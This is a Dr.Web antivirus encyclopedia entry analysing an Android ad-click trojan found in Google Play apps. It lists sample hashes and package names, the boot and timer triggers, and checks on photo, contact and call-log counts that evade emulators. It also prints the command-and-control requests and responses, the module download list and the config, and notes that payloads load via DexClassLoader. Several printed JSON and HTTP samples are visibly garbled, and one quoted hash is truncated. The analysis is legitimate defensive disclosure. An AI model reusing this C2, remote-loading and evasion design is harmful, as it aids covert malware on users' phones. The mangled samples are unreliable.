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Android.RemoteCode.106.origin

Added to Dr.Web virus database:2017-11-14
Virus description was added:2017-11-14
SHA1:Application package nameApplication version with the Trojan
0e5e5cfbeb05fe27f59c8aa15bfca3556cbe7005com.alkalinelabs.bandgame1.47
29bbbcdbc888a7ff7e7bfaa96b3815a604b903fccom.gamehero.sweetbakerymatch3saga3.0
287aea9ca36ace404372f98e222ab2d509e49019com.gamehero.cartoonracoon1.0.2
1cd9537c376d139f91b3628e01c7d0e2079ba2e5com.antee.biblicalquiz1.8
3f50c348c94a53164d0bd241773c9b90aee3a85fen.biblequiz.pro2.4
c916a6fa36b76bd0af8b0a181d3f349fd086c19dcom.justfclean.fustc1.0
d88f7805a619f108b55921269e94c31fbdf1d4f5com.getrewarded1.9
8f9587da8dac4befc9617817ded31297a70e9328com.alkalinelabs.learntosing1.2
78dec5a8ff19c27211542ee7a251c3fb6f44df4acom.mdroidapps.easybackupv.4.9.15

An Android Trojan which can be embedded into benign applications. Several programs with Android.RemoteCode.106.origin were detected on Google Play.

The Trojan starts automatically in the following cases:

  • Boot of an infected mobile device (tracks a system event android.intent.action.BOOT_COMPLETED);
  • Obtaining of an intent MOBGUN_REPORT_INTENT, which is sent every 30 seconds using the class AlarmManager. In case of devices with Android 5.0 and its later versions, launch is performed every 30 seconds using JobScheduler;
  • Start of the application containing Android.RemoteCode.106.origin.

Android.RemoteCode.106.origin does not act if an infected device lacks a specific number of photos, contacts and phone calls in the call log. For example, for the Trojan version of the application Bible Trivia v1.8 (sha1: 1cd9537c376d139f91b3628e01c7d0e2079ba2e), a device must have:

  • At least 10 photos;
  • At least 3 entries in the phone log for the last three days;
  • At least 10 contacts with phone number.

If upon the check the indicated conditions are satisfied, Android.RemoteCode.106.origin sends the following request to the command and control server:

GET http://mobgun*********.com:443/sys/k/get/?pn=com.antee.biblicalquiz&sub=test_sub_id&pub=90154&aid=99d078094e1be3b9&av
 HTTP/1.1 =16&v=11&b=Z2VuZXJpYw==&m=c2Rr
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.2; sdk Build/MASTER)
Host:  :443 mobgun*********.com
Connection: Keep-Alive
Accept-Encoding: gzip

As a response, it gets a command with a list of web addresses to follow:

{
   "result":true,
   "k":[
      {
         "t":1,
         "u":" " http://download********.top/click.php?cnv_id=[CLICK_ID]&payout=0.01
      },
      {
         "t":2,
         "u":" " http://download********.top/click.php?cnv_id=[CLICK_ID]&cnv_status=[TIME]&payout=0.01
      },
      {
      {
         "t":0,
         "u":" }" http://download********.top/click.php?key=du7ww2dgf7uje503rvmd&pubid={pubid
      }
   ]
}

After that, the Trojan attempts to follow the received links. If it successfully follows them and gets a response, Android.RemoteCode.106.origin performs its main malicious functions.

The Trojan sends to the server http://mobgun*********.com/sys/m/g/ the following request:

{
   "v":11,
   "ref":"02e1f7vtlfnbzac1",
   "model":"sdk",
   "pubId":"90154",
   "subId":"test_sub_id",
   "brand":"generic",
   "pn":"com.antee.biblicalquiz",
   "m":[
   ],
   "aid":"99d078094e1be3b9",
   "av":16
}

As a response, it receives a command with a list of additional modules (x.awvw.Awvw – Android.Click.199.origin, x.wpp.Wpp – Android.Click.200.origin) and a configuration file that must be downloaded from the server:

{
   "result":true,
   "m":[
      {
         "t":1,
         "n":"x.awvw.Awvw",
         "h":"b42c215188486c7ed65341d2fdefda3b",
         "u":"/sys/m/l/5b3f1818-f0f5-49c4-b77f-7f455027bd14/"
      },
      {
         "t":1,
         "n":"x.wpp.Wpp",
         "h":"ce77c3c4b33b0d078afdec6fbfc21093",
         "u":"/sys/m/l/9d2dc3fd-abf1-4c61-80e6-2b5a8b3f77f7/"
      },
      {
         "t":3,
         "n":"config",
         "h":"25507ab4013f1deafebf14487cebcb61",
         "u":"/sys/m/l/e2a018b0-c3d5-40a6-ae44-4ef7bec205c3/"
      }
   ],
   "time":1510217665299
}

The configuration file of the Trojan looks the following way:


{
   "debug":true,
   "debugList":[
      "76e5379d356d8156",
      "644e08515fb7ab5",
      "c6f19b3e796ea3fb",
      "76e5379d356d8156",
      "e946a5959a48945b"
   ],
   "awvw":true,
   "awvwUrl":"http://*.*.65.235:18011/sys/action/?t={TYPE}&pn={PACKAGENAME}&aid={ANDROIDID}&av={APIVERSION}&brand={B
}" RAND}&model={MODEL}&msg={MSG}&tid={TID}&sv={SOFTVERSION ,
   "awvwTaskUrl":" " http://*.*.65.235:18080/sys/task/get/ ,
   "awvwPingUrl":" " http://*.*.65.235:18011/sys/ping/ ,
   "awvwMaxWorkers":3,
   "awvwMaxAttempts":5,
   "awvwAttemptDelay":30000,
   "awvwDebug":false,
   "awvwVisible":false,
   "awvwVisible":false,
   "awvwTouchable":false,
   "glPingDelay":900000,
   "awvwRefreshDelay":60000,
   "awvwMaxNoRefresh":600000,
   "awvwCookieDelay":30000,
   "awvwPageFinishTime":15000,
   "awvwClickTimeout":15000
}

The link to the loaded modules is generated the following way: host name http://mobgun*********.com + string u from the response received from the server.

The downloaded malicious components are JAR files that are launched using the DexClassLoader class after being downloaded.

News about the Trojan

Curing recommendations


Android

  1. If the mobile device is operating normally, download and install Dr.Web for Android Light. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web для Android Light onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android

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